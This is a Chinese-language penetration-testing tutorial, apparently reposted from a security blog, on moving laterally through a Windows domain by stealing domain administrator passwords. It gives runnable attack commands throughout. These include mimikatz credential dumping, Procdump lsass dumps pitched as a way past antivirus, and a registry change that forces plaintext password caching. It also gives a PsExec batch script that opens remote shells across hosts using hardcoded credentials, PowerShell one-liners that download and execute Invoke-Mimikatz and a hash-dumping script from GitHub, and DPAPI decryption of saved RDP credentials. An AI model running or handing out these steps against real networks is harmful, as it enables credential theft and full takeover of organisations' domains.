内网横移:抓取域管理员密码 您所在的位置:网站首页 怎么看管理员的密码 内网横移:抓取域管理员密码

内网横移:抓取域管理员密码

2024-05-25 05:09| 来源: 网络整理| 查看: 265

前言

在通过漏洞拿到机器的权限并且提权到管理员权限,那么下一步就是进行内网横移。如果该机器是在域环境下,那么主要目标就是拿下域控的权限。

下图列举了一些内网横移可能用到的一些技术,本文主要介绍抓取域管理员的密码,其它的方法后面再进行总结。

1687770847_649956df5fb03a05d11bc.png!small?1687770847997

获取域控权限的思路

域内普通账号一般只能登录本机并且权限比较低,而域管理员账号一般是可以登录域内所有计算机的。因此如果拿到域管理员账号就可以进行登录域内所有计算机。

网络管理员有时需要升级补丁,或者给员工安全软件,那么就有可能通过域管理员账号登录主机,那么域管理员的账号信息就可能被保存在计算机的内存之中。

因此域控测试的一个思路就是:通过域成员主机,定位出域控制器IP及域管理员账号,利用域成员主机作为跳板,扩大渗透范围,利用域管理员可以登陆域中任何成员主机的特性,定位出域管理员登陆过的主机IP,设法从域成员主机内存中dump出域管理员密码,进而拿下域控制器、渗透整个内网。

因此首先来看看如果拿到域控管理员的密码,进行进行内网横移。

域内信息收集

拿到权限需要进行一些信息收集,包括域控主机,域管理员等信息。

获取域控主机

net group “domain controllers” /domain

注意通过该指令得到的机器名后面会多一个$符号

1687771034_6499579aca52c7f414d25.png!small?1687771035255

获取域管理员用户

net group “domain admins” /domain

这次的目标也是获取域管理员的账号密码

1687771054_649957ae2eebe3b6cca83.png!small?1687771054698

查看当前登录的用户以及所有在线用户

whoami

query user

1687771068_649957bc944c35b22db07.png!small?1687771069084

抓取域管理员密码

当拿到一台用户的权限以后,就可以尝试获取该台主机用户的密码,如果网络管理员使用域控管理员的账号登陆过,那么也可以读取到域控管理员的账号信息。

PS:微软为了防止明文密码泄露发布了补丁KB2871997,关闭了Wdigest功能。 当系统为win10或2012R2以上时,默认在内存缓存中禁止保存明文密码。此时可以通过修改注册表的方式抓取明文,但需要用户重新登录后才能成功抓取。

直接读取

如果被控主机的系统为win10或者2012R2以下的,可以直接上传mimikatz到被控主机,执行下面的命令来获取密码

mimikatz.exe "privilege::debug" "log" "sekurlsa::logonpasswords"

1687771116_649957ec9a60d1bd19d3a.png!small?1687771117107

可以看到直接获取到了用户的明文密码。

离线读取

目前企业内都安装了杀毒软件,上传mimikatz会被查杀,就不能采用直接读取的方式。那么可以采用离线读取的方式。

需要工具Procdump:微软官方的工具,可在命令行将lsass导出且杀软不会拦截

执行下面的命令导出lsass.

Procdump.exe -accepteula -ma lsass.exe lsass.dmp

1687771147_6499580b4be2d8d25826c.png!small?1687771147750

把文件下载到本地然后利用mimikatz读取

mimikatz.exe "sekurlsa::minidump lsass.dmp" "sekurlsa::logonPasswords full" "exit"

1687771152_6499581064cd74ec1393a.png!small?1687771152851

高版本读取

前面说过,如果系统是高版本,内存中是不允许保存明文密码的,读取就会像下面所示一样,显示为null。

1687771164_6499581caf08d23d8a16c.png!small?1687771165129

这时我们可以通过修改注册表+强制锁屏+等待系统管理员重新登录,然后再重新抓取密码。

通过下面的方式修改注册表:

reg add HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\SecurityProviders\WDigest\ /v UseLogonCredential /t REG_DWORD /d 1

然后将机器锁屏,等待重新登录,再次重复离线读取的步骤即可。

批量读取

管理员并不会登录到每台机器,因此我们需要获取尽可能多的机器权限,这样才能扩大获取到管理员账号的机会。因此可以通过下面的脚本来批量连接,批量读取密码。

1.首先进行批量连接,并反弹会shell。

连接可以用net use建立Ipc$连接、wmic指令连接、采用rdp方式连接、当然也可以使用“计算机管理--连接到另一台计算机”的功能。这里使用psexec进行远程连接。

@echo off echo check ip addr config file... if not exist ip.txt echo ip addr config file ip.txt does not exist! & goto end echo read and analysis file... for /F "eol=#" %%i in (ip.txt) do start PsExec.exe \\%%i -accepteula -u administrator -p "123456" cmd & start cmd /c PsExec.exe \\%%i -u administrator -p "123456" cmd :end exit

2.返回了cmdshell后,可以逐一读取内存,去抓取域管理员的密码,这里可以结合powershell来进行快速操作,无需上传文件:

抓明文:

powershell IEX (New-Object Net.WebClient).DownloadString('https://raw.githubusercontent.com/mattifestation/PowerSploit/master/Exfiltration/Invoke-Mimikatz.ps1'); Invoke-Mimikatz –DumpCerts

这种方式的好处是只要域管理员登陆过目标计算机,即使注销了会话,一样可以从内存读取到密码。

获取管理员登录过的主机

为了提高效率,我们往往需要快速找到管理员登录过那台机器,并且还存在活动会话。

上面我们已经查看过了域管理员的账号,可以通过下面的命令查看是否存在活动会话,

tasklist /v |findstr xxxx

批量查看是否存在会话的脚本

@echo off echo check ip addr config file... if not exist ip.txt echo ip addr config file ip.txt does not exist! & goto end echo read and analysis file... for /F "eol=#" %%i in (ip.txt) do echo %%i &(echo %%i &tasklist /s %%i /u administrator /p mytest2010 /v) >>d:\result.txt :end exit

哈希破解

另外如果无法获取到明文密码,也可以尝试进行hash破解。

可以通过下面的命令获取hash值

powershell IEX (New-Object Net.WebClient).DownloadString('https://raw.githubusercontent.com/samratashok/nishang/master/Gather/Get-PassHashes.ps1');Get-PassHashes

或者通过mimikatz获取

1687771412_64995914010518ef37ef5.png!small?1687771412418

获取到hash值以后可以用工具(hashcat)或者在线网站去破解

1687771417_64995919611504b09b0f4.png!small?1687771417964

RDP凭据抓取

使用RDP连接,如果勾选了允许我保存凭据,那么登录信息也会保存在本地,通过一定的方式可能获取到密码。

1687771429_64995925a498c9402c66f.png!small?1687771430100

1).查看连接记录

cmdkey /list

1687771483_6499595b1f19d1ad19735.png!small?1687771483519

2)查找本地的Credentials

dir /a %userprofile%\appdata\local\microsoft\credentials\*

1687771502_6499596e47ab41640767f.png!small?1687771502812

3)Credentials记录guidMasterKey值

mimikatz dpapi::cred /in:C:\Users\webadmin\appdata\local\microsoft\credentials\5FBB2585F99BA05366F08E52F1C1740B

1687771510_649959769a552797a2c1f.png!small?1687771511029

找到guidMasterKey对应的MasterKey:(需要system会话)

mimikatz sekurlsa::dpapi

1687771516_6499597cc1ab252ddef75.png!small?1687771517218

解密指定的MasterKey凭据:

#mimikatz dpapi::cred /in:C:\Users\webadmin\appdata\local\microsoft\credentials[Credentials] /masterkey:[MasterKey] mimikatz dpapi::cred /in:C:\Users\webadmin\appdata\local\microsoft\credentials\5FBB2585F99BA05366F08E52F1C1740B /masterkey:69d18472f65ddf5a670ee2c87dd49336f8cc8ccd01e0c6ba8948555636486c967acd2c46490105913a130289c7cf7fb8af72441fe9c02dfe981b2293337267fd

1687771529_64995989547f87b8292d9.png!small?1687771529798

总结

获取域管理员账号是很重要的一步,可以让我们快速的在内网进行横移。

参考链接

https://www.freebuf.com/company-information/172630.html

https://f4tty-j.github.io/posts/1ee33d13/



【本文地址】

公司简介

联系我们

今日新闻

    推荐新闻

    专题文章
      CopyRight 2018-2019 实验室设备网 版权所有